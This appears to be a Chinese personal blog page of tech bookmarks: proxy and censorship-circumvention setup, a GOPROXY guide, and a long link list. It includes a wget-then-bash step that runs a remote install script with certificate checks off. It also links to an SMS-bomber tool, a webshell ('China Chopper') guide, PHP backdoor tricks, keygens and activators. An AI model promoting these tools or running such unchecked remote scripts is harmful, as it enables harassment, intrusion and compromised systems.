class="comment">//learnku.com/laravel/t/32900</span></span><br></pre></td></tr></table></figure>
<h3 id="如何预览GitHub项目里面的网页"><a href="#如何预览GitHub项目里面的网页" class="headerlink" title="如何预览GitHub项目里面的网页"></a>如何预览GitHub项目里面的网页</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">访问根目录demo.html http:<span class="comment">//xxx.github.io/DEMOs/demo.html</span></span><br><span class="line">在github上demo的仓库页面，点击“setting”按钮；</span><br><span class="line"></span><br><span class="line">找到GitHub Pages版块，选择Source为“master branch”，然后保存</span><br><span class="line"></span><br><span class="line">http:<span class="comment">//htmlpreview.github.io/</span></span><br><span class="line">http:<span class="comment">//rawgit.com/</span></span><br></pre></td></tr></table></figure>
<h3 id="一键反代谷歌和谷歌学术"><a href="#一键反代谷歌和谷歌学术" class="headerlink" title="一键反代谷歌和谷歌学术"></a>一键反代谷歌和谷歌学术</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//v2ex.com/t/247719#reply55 </span></span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"><span class="number">1.</span> wget -N --no-check-certificate https:<span class="comment">//raw.githubusercontent.com/sakz/ngx_google_deployment/master/install.sh</span></span><br><span class="line"><span class="number">2.</span> chmod <span class="number">771</span> ./install.sh</span><br><span class="line"><span class="number">3.</span> bash ./install.sh</span><br><span class="line">https:<span class="comment">//blog.fazero.me/2016/01/19/ngx-google/</span></span><br></pre></td></tr></table></figure>
<h3 id="proxychains在终端使用socks5代理"><a href="#proxychains在终端使用socks5代理" class="headerlink" title="proxychains在终端使用socks5代理"></a>proxychains在终端使用socks5代理</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">git clone https:<span class="comment">//github.com/rofl0r/proxychains-ng.git</span></span><br><span class="line">cd proxychains-ng</span><br><span class="line">./configure</span><br><span class="line">make &amp;&amp; make install</span><br><span class="line">cp ./src/proxychains.conf /etc/proxychains.conf</span><br><span class="line">cd .. &amp;&amp; rm -rf proxychains-ng</span><br><span class="line">vim /etc/proxychains.conf</span><br><span class="line"></span><br><span class="line">socks5 <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> <span class="number">1080</span></span><br><span class="line">需要代理的命令前加上 proxychains4 ，如：</span><br><span class="line"></span><br><span class="line">proxychains4 wget http:<span class="comment">//xxx.com/xxx.zip</span></span><br><span class="line">https:<span class="comment">//blog.fazero.me/2015/08/31/%E5%88%A9%E7%94%A8proxychains%E5%9C%A8%E7%BB%88%E7%AB%AF%E4%BD%BF%E7%94%A8socks5%E4%BB%A3%E7%90%86/</span></span><br></pre></td></tr></table></figure>
<h3 id="免费获取歌词"><a href="#免费获取歌词" class="headerlink" title="免费获取歌词"></a>免费获取歌词</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//geci.me/api/lyric/海阔天空  </span></span><br><span class="line">http:<span class="comment">//geci.me/api/lyric/海阔天空/Beyond</span></span><br><span class="line">http:<span class="comment">//geci.me/api/cover/1573814 根据专辑编号获取专辑封面URL</span></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//hacpai.com/article/1364440883834</span></span><br></pre></td></tr></table></figure>
<h3 id="Deepin-系统科学上网-PAC-自动代理"><a href="#Deepin-系统科学上网-PAC-自动代理" class="headerlink" title="Deepin 系统科学上网 PAC 自动代理"></a>Deepin 系统科学上网 PAC 自动代理</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">pip3 install genpac</span><br><span class="line">genpac --pac-compress --pac-proxy <span class="string">'SOCKS5 127.0.0.1:1080'</span> --format pac  -o ~<span class="regexp">/auto.pac</span></span><br><span class="line"><span class="regexp">设置系统代理，设置 &gt; 网络 &gt; 系统代理 &gt; 自动</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">配置 URL：</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">file:/</span><span class="comment">//home/登录用户名/auto.pac</span></span><br><span class="line">https:<span class="comment">//gleehub.com/tool/deepin-xi-tong-ke-xue-shang-wang-pac-zi-dong-dai-li.html</span></span><br></pre></td></tr></table></figure>
<h3 id="环境变量"><a href="#环境变量" class="headerlink" title="环境变量"></a>环境变量</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="keyword">export</span> GOPROXY=https:<span class="comment">//goproxy.cn</span></span><br><span class="line">$ echo <span class="string">"export GOPROXY=https://goproxy.cn"</span> &gt;&gt; ~<span class="regexp">/.profile &amp;&amp; source ~/</span>.profile</span><br><span class="line">打开你的 PowerShell 并执行：</span><br><span class="line"></span><br><span class="line">C:\&gt; $env:GOPROXY = <span class="string">"https://goproxy.cn"</span></span><br><span class="line">或者</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> 打开“开始”并搜索“env”</span><br><span class="line"><span class="number">2.</span> 选择“编辑系统环境变量”</span><br><span class="line"><span class="number">3.</span> 点击“环境变量…”按钮</span><br><span class="line"><span class="number">4.</span> 在“&lt;你的用户名&gt; 的用户变量”章节下（上半部分）</span><br><span class="line"><span class="number">5.</span> 点击“新建…”按钮</span><br><span class="line"><span class="number">6.</span> 选择“变量名”输入框并输入“GOPROXY”</span><br><span class="line"><span class="number">7.</span> 选择“变量值”输入框并输入“https:<span class="comment">//goproxy.cn”</span></span><br><span class="line"><span class="number">8.</span> 点击“确定”按钮</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//learnku.com/articles/37926</span></span><br></pre></td></tr></table></figure>
<p>豆丁网文档复制抓取工具 <a href="https://www.docin365.com/" target="_blank" rel="noopener">https://www.docin365.com/</a> </p>
<p>上学吧365答案查询工具 <a href="https://www.shangxueba365.com/" target="_blank" rel="noopener">https://www.shangxueba365.com/</a></p>
<p>为什么要自己搭建翻墙服务？ <a href="https://github.com/xiaoming2028/kexueshangwang/wiki" target="_blank" rel="noopener">https://github.com/xiaoming2028/kexueshangwang/wiki</a></p>
<p><a href="https://workers.cloudflare.com/" target="_blank" rel="noopener">https://workers.cloudflare.com/</a> <a href="https://etherdream.github.io/jsproxy/" target="_blank" rel="noopener">https://etherdream.github.io/jsproxy/</a><br>Google代理 <a href="https://noisy-tooth-2ee5.susheng.workers.dev/" target="_blank" rel="noopener">https://noisy-tooth-2ee5.susheng.workers.dev/</a><br>  摸鱼网站整理<a href="https://withpinbox.com/explore/collection/266629" target="_blank" rel="noopener">https://withpinbox.com/explore/collection/266629</a><br> 短信轰炸机脚本TBomb <a href="https://github.com/TheSpeedX/TBomb" target="_blank" rel="noopener">https://github.com/TheSpeedX/TBomb</a></p>
<p>在线模拟vim <a href="https://www.openvim.com/" target="_blank" rel="noopener">https://www.openvim.com/</a></p>
<p>免费的定时任务托管 clock.sh  <a href="https://github.com/clock-sh/ticket" target="_blank" rel="noopener">https://github.com/clock-sh/ticket</a> <a href="https://github.com/yehux/Coot" target="_blank" rel="noopener">https://github.com/yehux/Coot</a></p>
<p><a href="http://fonts.safe.360.cn/360" target="_blank" rel="noopener">http://fonts.safe.360.cn/360</a> 有一个查询字体版权的网站。</p>
<p>妹子图站技术方案<a href="https://sssis.me/post/meizitu.html" target="_blank" rel="noopener">https://sssis.me/post/meizitu.html</a> <a href="https://qingbuyaohaixiu.com/" target="_blank" rel="noopener">https://qingbuyaohaixiu.com/</a></p>
<p>各种App、小程序、网站的请求签名算法。 现已有：自如、小红书、蛋壳公寓 <a href="https://github.com/gadfly0x/signature_algorithm" target="_blank" rel="noopener">https://github.com/gadfly0x/signature_algorithm</a> 逆向App用的都是iOS</p>
<p>某JS最牛加密脱壳解密破解去混淆工具<a href="https://www.qs5.org/Post/673.html" target="_blank" rel="noopener">https://www.qs5.org/Post/673.html</a> <a href="https://cn.v2ex.com/t/596794#reply28" target="_blank" rel="noopener">https://cn.v2ex.com/t/596794#reply28</a></p>
<p><a href="http://www.sojson.com" target="_blank" rel="noopener">www.sojson.com</a> 网站高级JS加密破解 <a href="https://github.com/insoxin/sojson.v5" target="_blank" rel="noopener">https://github.com/insoxin/sojson.v5</a> <a href="https://obfuscator.io/" target="_blank" rel="noopener">https://obfuscator.io/</a><br><a href="https://github.com/javascript-obfuscator/javascript-obfuscator/" target="_blank" rel="noopener">https://github.com/javascript-obfuscator/javascript-obfuscator/</a> <a href="https://cn.v2ex.com/t/597018#reply10" target="_blank" rel="noopener">https://cn.v2ex.com/t/597018#reply10</a></p>
<p>翻墙<a href="https://github.com/txthinking/brook" target="_blank" rel="noopener">https://github.com/txthinking/brook</a>  jsproxy  可以一键脚本部署的呀, 前端页面可以放在 github pages 上面. 也提供了 cloudflare workers <a href="https://workers.cloudflare.com/" target="_blank" rel="noopener">https://workers.cloudflare.com/</a>  的部署方法, 比如说这个是我搭的 <a href="https://proxy.jimmytinsley.workers.dev/" target="_blank" rel="noopener">https://proxy.jimmytinsley.workers.dev/</a><br><a href="https://github.com/EtherDream/jsproxy/tree/master/cf-worker" target="_blank" rel="noopener">https://github.com/EtherDream/jsproxy/tree/master/cf-worker</a><br><a href="https://github.com/aploium/zmirror" target="_blank" rel="noopener">https://github.com/aploium/zmirror</a><br><a href="https://github.com/aploium/zmirror-onekey" target="_blank" rel="noopener">https://github.com/aploium/zmirror-onekey</a><br>一键部署脚本 Google镜像<a href="https://g.zmirrordemo.com/" target="_blank" rel="noopener">https://g.zmirrordemo.com/</a><br><a href="https://fetch.ffeii.workers.dev/https://google.com" target="_blank" rel="noopener">https://fetch.ffeii.workers.dev/https://google.com</a><br><a href="https://github.com/You2php/you2php" target="_blank" rel="noopener">https://github.com/You2php/you2php</a><br><a href="https://noisy-tooth-2ee5.susheng.workers.dev/-----https://google.com" target="_blank" rel="noopener">https://noisy-tooth-2ee5.susheng.workers.dev/-----https://google.com</a><br><a href="https://proxy.zme.ink/www.google.com/search" target="_blank" rel="noopener">https://proxy.zme.ink/www.google.com/search</a><br>一键部署Google等镜像 – zmirror<a href="https://uixsj.cn/1706.html" target="_blank" rel="noopener">https://uixsj.cn/1706.html</a><br>利用 cloudflare workers 加速<br>wget <a href="https://fetch.ffeii.workers.dev/https://www.openssl.org/source/openssl-1.1.1c.tar.gz" target="_blank" rel="noopener">https://fetch.ffeii.workers.dev/https://www.openssl.org/source/openssl-1.1.1c.tar.gz</a><br>HTTP请求代理，CORS跨域请求，HTTPS支持<a href="https://proxy.netnr.com/" target="_blank" rel="noopener">https://proxy.netnr.com/</a>  <a href="https://proxy.zme.ink/www.google.com" target="_blank" rel="noopener">https://proxy.zme.ink/www.google.com</a><br><a href="https://github.com/Rob--W/cors-anywhere" target="_blank" rel="noopener">https://github.com/Rob--W/cors-anywhere</a><br><a href="https://cors-anywhere.herokuapp.com/https://google.com" target="_blank" rel="noopener">https://cors-anywhere.herokuapp.com/https://google.com</a><br>VPN翻墙教程 <a href="https://mp.weixin.qq.com/s/tE_XRsQOCutfGFjrx3UHrg" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/tE_XRsQOCutfGFjrx3UHrg</a><br>项目主页： <a href="https://you2php.github.io" target="_blank" rel="noopener">https://you2php.github.io</a> （需要梯子）<br>项目地址： <a href="https://github.com/You2php" target="_blank" rel="noopener">https://github.com/You2php</a> <a href="https://sphard2.github.io/gfw/free/ssr.html" target="_blank" rel="noopener">https://sphard2.github.io/gfw/free/ssr.html</a><br>一个简单的PHP Web代理<a href="https://github.com/joshdick/miniProxy" target="_blank" rel="noopener">https://github.com/joshdick/miniProxy</a><br>为什么要自己搭建翻墙服务？ <a href="https://github.com/xiaoming2028/kexueshangwang/wiki" target="_blank" rel="noopener">https://github.com/xiaoming2028/kexueshangwang/wiki</a><br><a href="https://github.com/EtherDream/jsproxy" target="_blank" rel="noopener">翻墙</a></p>
<p><a href="https://codidate.com/code/sandbox" target="_blank" rel="noopener">在线技术面试平台showmebug</a></p>
<p><a href="https://latexsearch.arnavbansal.dev/" target="_blank" rel="noopener">LaTeX 搜索引擎</a></p>
<p><a href="https://github.com/dxcweb/watermark" target="_blank" rel="noopener"> canvas图片水印</a></p>
<p><a href="https://github.com/selierlin/Share-SSR-V2ray" target="_blank" rel="noopener">SS/SSR/V2ray 免费google分享节点账号信息网站</a></p>
<p><a href="https://github.com/zhaipro/easy12306" target="_blank" rel="noopener">12306识别验证码http://shell.teachx.cn:12306/</a></p>
<p><a href="https://bpteach.github.io/New-Media-Toolbox/" target="_blank" rel="noopener">新媒体工具箱</a></p>
<p><a href="https://only-free.github.io/2018/12/24/gayhub-shang-de-gong-ju-ji-he/" target="_blank" rel="noopener">github上的工具集合子域名枚举扫描器或爆破工具</a></p>
<p><a href="https://csuwangj.github.io/CTF%E8%BD%BB%E5%B7%A5%E5%85%B7%E4%B8%AA%E4%BA%BA%E9%9B%86%E5%90%88/" target="_blank" rel="noopener">ctf工具 </a></p>
<p><a href="http://tool.yovisun.com/scihub/" target="_blank" rel="noopener">工具集SCI-Hub科研论文网址 google镜像</a></p>
<p><a href="http://factordb.com" target="_blank" rel="noopener">在线分解质因子数学题</a></p>
<p><a href="https://tiansh.github.io/us-weibo/Weibo_Supervisor_Blacklist_Tool/" target="_blank" rel="noopener">微博监督员批量拉黑工具</a></p>
<p><a href="https://fly8wo.github.io/2018/08/24/%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%E4%B9%8B%E7%B1%BB%E8%8F%9C%E5%88%80%E5%B7%A5%E5%85%B7%E7%9A%84%E4%BD%BF%E7%94%A8/" target="_blank" rel="noopener">中国菜刀之类菜刀工具的使用</a></p>
<p><a href="http://einverne.github.io/post/2019/01/html-to-pdf.html" target="_blank" rel="noopener">html 转 pdf 命令行工具 wkhtmltopdf </a></p>
<p><a href="https://github.com/XX-net/XX-Net/wiki" target="_blank" rel="noopener">翻墙工具google</a></p>
<p><a href="http://jartto.wang/2019/04/15/amusing-ppt/" target="_blank" rel="noopener">酷炫的 HTML5 网页 PPT</a></p>
<p><a href="https://post.zz173.com/detail/hfu17Yn_YpMY9TlVNTqv8w.html" target="_blank" rel="noopener">一个有意思的解密</a></p>
<p><a href="https://me.jinchuang.org/archives/177.html" target="_blank" rel="noopener">好用的office/windows激活工具</a></p>
<p><a href="http://nullpointer.pw/Charles%E6%8A%93%E5%8C%85%E5%AE%9E%E6%88%98%E8%AF%A6%E8%A7%A3.html" target="_blank" rel="noopener">Charles抓包修改APP数据</a></p>
<p><a href="https://github.com/bartaz/impress.js/" target="_blank" rel="noopener">impress.js制作ppt www.caiqianyu.com/impress/impress.html#/step-14</a></p>
<p><a href="https://github.com/jc91715/oc-plugin-music" target="_blank" rel="noopener">听全网音乐</a></p>
<p><a href="https://learnku.com/articles/30329" target="_blank" rel="noopener">持续更新免费的 API github.com/fangzesheng/free-api</a></p>
<p><a href="https://shimo.im/docs/hLgSj9sYasQkrvO1/read" target="_blank" rel="noopener">语音快速转文字www.luyinla.com/luyinla.html</a></p>
<p><a href="https://gugeji.com/" target="_blank" rel="noopener">Google代理</a></p>
<p><a href="https://elemefe.github.io/sip/charles/ctrl-req.html" target="_blank" rel="noopener">修改Charles网络请求</a></p>
<p><a href="https://github.com/ctfs/write-ups-2017" target="_blank" rel="noopener">write-ups-2017</a></p>
<p><a href="https://axutongxue.github.io/2019/01/27/%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%95%99%E7%A8%8B%EF%BC%8C%E5%86%8D%E6%B2%A1%E6%9C%89%E4%B8%8B%E8%BD%BD%E4%B8%8D%E4%BA%86%E7%9A%84%E7%BD%91%E9%A1%B5%E8%A7%86%E9%A2%91/" target="_blank" rel="noopener">视频下载</a></p>
<p><a href="https://github.com/cnlh/nps" target="_blank" rel="noopener">功能强大的内网穿透代理服务器</a></p>
<p><a href="https://phithon.gitbooks.io/conote/content/" target="_blank" rel="noopener">渗透测试</a></p>
<p><a href="https://www.itcodemonkey.com/article/4956.html" target="_blank" rel="noopener">奇淫异巧之 PHP 后门</a></p>
<p><a href="http://www.jeyzhang.com/how-to-install-and-setup-shadowsocks-client-in-different-os.html" target="_blank" rel="noopener">各种系统下Shadowsocks客户端的安装与配置</a></p>
<p><a href="https://vien.tech/article/137" target="_blank" rel="noopener">免费ss、ssr账号分享，Shadowsocks免费账号</a></p>
<p><a href="https://monitor.firefox.com/" target="_blank" rel="noopener"> 查询自己邮箱密码是否泄漏</a></p>
<p><a href="https://learnku.com/articles/29171" target="_blank" rel="noopener">带着小白了解下比特币区块链技术</a></p>
<p><a href="http://kyon945.ys168.com/" target="_blank" rel="noopener">精选资源</a></p>
<p><a href="https://send.firefox.com/" target="_blank" rel="noopener">私密的文件分享</a></p>
<p><a href="https://axutongxue.github.io/2019/04/08/%E4%BB%8E%E6%89%8B%E6%9C%BA%E5%88%B0%E7%94%B5%E8%84%91%EF%BC%8C%E7%A9%B6%E7%AB%9F%E5%93%AA%E6%AC%BEOCR%E5%9B%BE%E7%89%87%E6%96%87%E5%AD%97%E8%AF%86%E5%88%AB%E8%BD%AF%E4%BB%B6%E6%9C%80%E5%A5%BD%E7%94%A8%EF%BC%9F/" target="_blank" rel="noopener">OCR图片文字识别</a></p>
<p><a href="https://cowtransfer.com/" target="_blank" rel="noopener">文件中转http://tmp.link/</a></p>
<p><a href="https://michael728.github.io/tools/" target="_blank" rel="noopener">分享发现的好资源，好工具</a></p>
<p><a href="http://chromecj.com/" target="_blank" rel="noopener">chrome插件下载https://www.chromefor.com/</a></p>
<p><a href="http://md.aclickall.com/" target="_blank" rel="noopener">知乎markdown</a></p>
<p><a href="https://michael728.github.io/2019/04/27/tools-ss-vps/" target="_blank" rel="noopener">ss翻墙</a></p>
<p><a href="https://michael728.github.io/2015/11/28/tools-list-win/" target="_blank" rel="noopener">Windows上那些值得推荐的良心软件</a></p>
<p><a href="https://mp.weixin.qq.com/s/EtoNa6o0GDuOz8o1mOlK7w" target="_blank" rel="noopener">黑科技工具</a></p>
<p><a href="https://www.freedownloadmanager.org/zh/" target="_blank" rel="noopener">下载工具fdm</a></p>
<p><a href="http://yurl.sinaapp.com/crx.php" target="_blank" rel="noopener">Chrome商店Crx离线安装包下载</a></p>
<p><a href="https://finthon.com/google-fan-qiang/" target="_blank" rel="noopener">通过谷歌云（GCP）免费科学上网一年https://www.wmsoho.com/google-cloud-platform-ssr-bbr-tutorial/</a></p>
<p><a href="https://rss.anyant.com/" target="_blank" rel="noopener">订阅网站更新</a></p>
<p><a href="http://vidlery.com/" target="_blank" rel="noopener">动画短片素材网站-Vidlery</a></p>
<p><a href="http://111jx.xyz/?url=" target="_blank" rel="noopener">vip视频免费看</a></p>
<p><a href="https://phpartisan.cn/news/121.html" target="_blank" rel="noopener">Frp实现内网穿透</a></p>
<p><a href="https://hacpai.com/article/1517986403240" target="_blank" rel="noopener">vip无广告电影 黑客派</a></p>
<p><a href="https://chvin.github.io/react-tetris/" target="_blank" rel="noopener">在线版俄罗斯方块</a></p>
<p><a href="https://github.com/shinima/battle-city" target="_blank" rel="noopener">GitHub 上开源的这个坦克大战小游戏https://battle-city.js.org/#/</a></p>
<p><a href="https://github.com/sherlonWang/logodiy" target="_blank" rel="noopener">在线 Logo 制作工具</a></p>
<p><a href="http://it2048.cn/" target="_blank" rel="noopener">导航网站</a></p>
<p><a href="https://michael728.github.io/2019/04/27/tools-ss-vps/" target="_blank" rel="noopener">shadowsocks+vps+mac翻墙Vultr</a></p>
<p><a href="https://www.biantube.com/watch?v=5IuJMGjMkKU&amp;from=timeline" target="_blank" rel="noopener">搜索YouTube视频</a></p>
<p><a href="https://github.com/521xueweihan/git-tips" target="_blank" rel="noopener">Git的奇技淫巧</a></p>
<p><a href="https://qishaoxuan.github.io/css_tricks/" target="_blank" rel="noopener">css奇技淫巧</a></p>
<p><a href="https://github.com/DoubleLabyrinth/Xmanager-keygen" target="_blank" rel="noopener">Xmanager Power Suit 安装</a></p>
<p>闲鱼搜索 <a href="https://s.2.taobao.com/list/list.htm?q=%E5%85%B3%E9%94%AE%E8%AF%8D&amp;search_type=item&amp;app=shopsearch" target="_blank" rel="noopener">https://s.2.taobao.com/list/list.htm?q=%E5%85%B3%E9%94%AE%E8%AF%8D&amp;search_type=item&amp;app=shopsearch</a></p>
<p>翻译工具 <a href="https://www.ltool.net/japanese-full-jenkaku-to-half-hankaku-converter-in-simplified-chinese.php" target="_blank" rel="noopener">https://www.ltool.net/japanese-full-jenkaku-to-half-hankaku-converter-in-simplified-chinese.php</a></p>
<p>幕布精选」投稿指南 <a href="https://mubu.com/doc/rBSPqyZmqp" target="_blank" rel="noopener">https://mubu.com/doc/rBSPqyZmqp</a></p>
<p><a href="https://learnku.com/articles/36220" target="_blank" rel="noopener">心智阅读系列：如何主动学习</a></p>

      
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